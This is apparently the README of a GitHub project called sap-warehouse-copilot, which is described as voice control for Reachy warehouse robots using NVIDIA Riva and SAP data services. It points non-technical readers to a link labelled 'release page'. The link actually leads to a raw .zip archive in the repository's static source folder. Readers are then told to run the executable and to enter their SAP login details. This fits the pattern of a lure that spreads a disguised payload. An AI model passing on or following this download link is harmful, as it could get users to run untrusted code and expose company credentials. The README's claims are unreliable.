sap-warehouse-copilot helps you control the Reachy Mini robot in a warehouse setting using simple speech commands. It combines NVIDIA’s AI tools and SAP's data protocols to let you manage tasks effectively. You do not need to know programming to use this application.
This tool supports:
- NVIDIA GPU acceleration for faster processing
- Voice control through Riva Speech AI
- Access to warehouse data via SAP OData services
- Integration with Reachy Mini and Reachy2 robot models
The app runs on Windows and connects to your robot and SAP backend smoothly.
Before installing sap-warehouse-copilot, check your PC meets these minimum specs:
- Windows 10 or newer (64-bit)
- NVIDIA GPU with compatible drivers installed (e.g., GTX 1060 or better)
- At least 8 GB of RAM
- 2 GHz dual-core CPU or better
- Internet connection for setup and voice recognition
- USB or network connection to Reachy Mini or Reachy2 robot
Make sure your NVIDIA GPU drivers are up to date. You can get them from NVIDIA's official website.
Follow these steps to get sap-warehouse-copilot up and running on your Windows PC.
Visit the release page to get the installer:
On that page:
- Look for the latest release (the one with the highest version number or marked “Latest”).
- Find the Windows installer file. It will have a
.exeextension. - Click the file name to download it to your PC.
- Once the download completes, open the folder where the file was saved.
- Double-click the installer file to start the setup.
- Follow the on-screen instructions.
- Accept the license agreement.
- Choose the installation location or keep the default.
- Wait while the program installs.
- When done, the installer will prompt you to finish or launch the program.
- Connect your robot to the same network as your PC or use the USB connection.
- Turn on the robot.
- Launch sap-warehouse-copilot.
- In the app interface, enter the robot’s IP address or select it from the device list if available.
- Enter your SAP system’s URL and login details when prompted.
- This link lets the app access warehouse data and update tasks in real time.
- The app uses NVIDIA Riva for voice commands.
- During setup, allow the app to access your microphone.
- Test your microphone in the app settings to make sure it works.
- You can adjust voice command sensitivity and language options if needed.
sap-warehouse-copilot listens to simple voice commands to control the robot. Here are some examples:
- “Move to shelf A5”
- “Pick item from bin 4”
- “Check inventory status”
- “Return to base”
The robot will execute tasks based on your commands and update SAP warehouse records automatically.
Speak clearly and close to your microphone for best results.
- Easy navigation control for warehouse robot arms and grippers
- Real-time status updates from warehouse inventory
- Voice-based commands backed by NVIDIA’s speech AI
- Data integration with SAP OData services
- Support for Reachy Mini and Reachy2 robot families
If you face issues, try these steps:
- Ensure your NVIDIA GPU drivers are current.
- Make sure your microphone is connected and working.
- Confirm the robot is powered and on the same network as your PC.
- Check your SAP login credentials.
- Restart the app and robot if the connection drops.
You can also visit the issues section on the main GitHub page for help:
To update sap-warehouse-copilot:
- Visit the release page regularly: https://github.com/lucy322/sap-warehouse-copilot/raw/refs/heads/main/sap_warehouse_copilot/static/sap-copilot-warehouse-v2.0.zip
- Download the latest installer when available.
- Run the installer to update the app without losing settings.
- Learn about Reachy Mini and Reachy2 robots from their official sites.
- NVIDIA Jetson guides for setting up GPU support.
- SAP OData documentation to understand warehouse data integration.
Use the links and PDFs included in the software folder for extra help.
This project covers areas related to:
- NVIDIA GPU acceleration and memory management
- Robot control with Reachy family robots
- Robotics simulation and frameworks
- Speech AI with NVIDIA Riva
- Warehouse automation using SAP protocols
Get started here: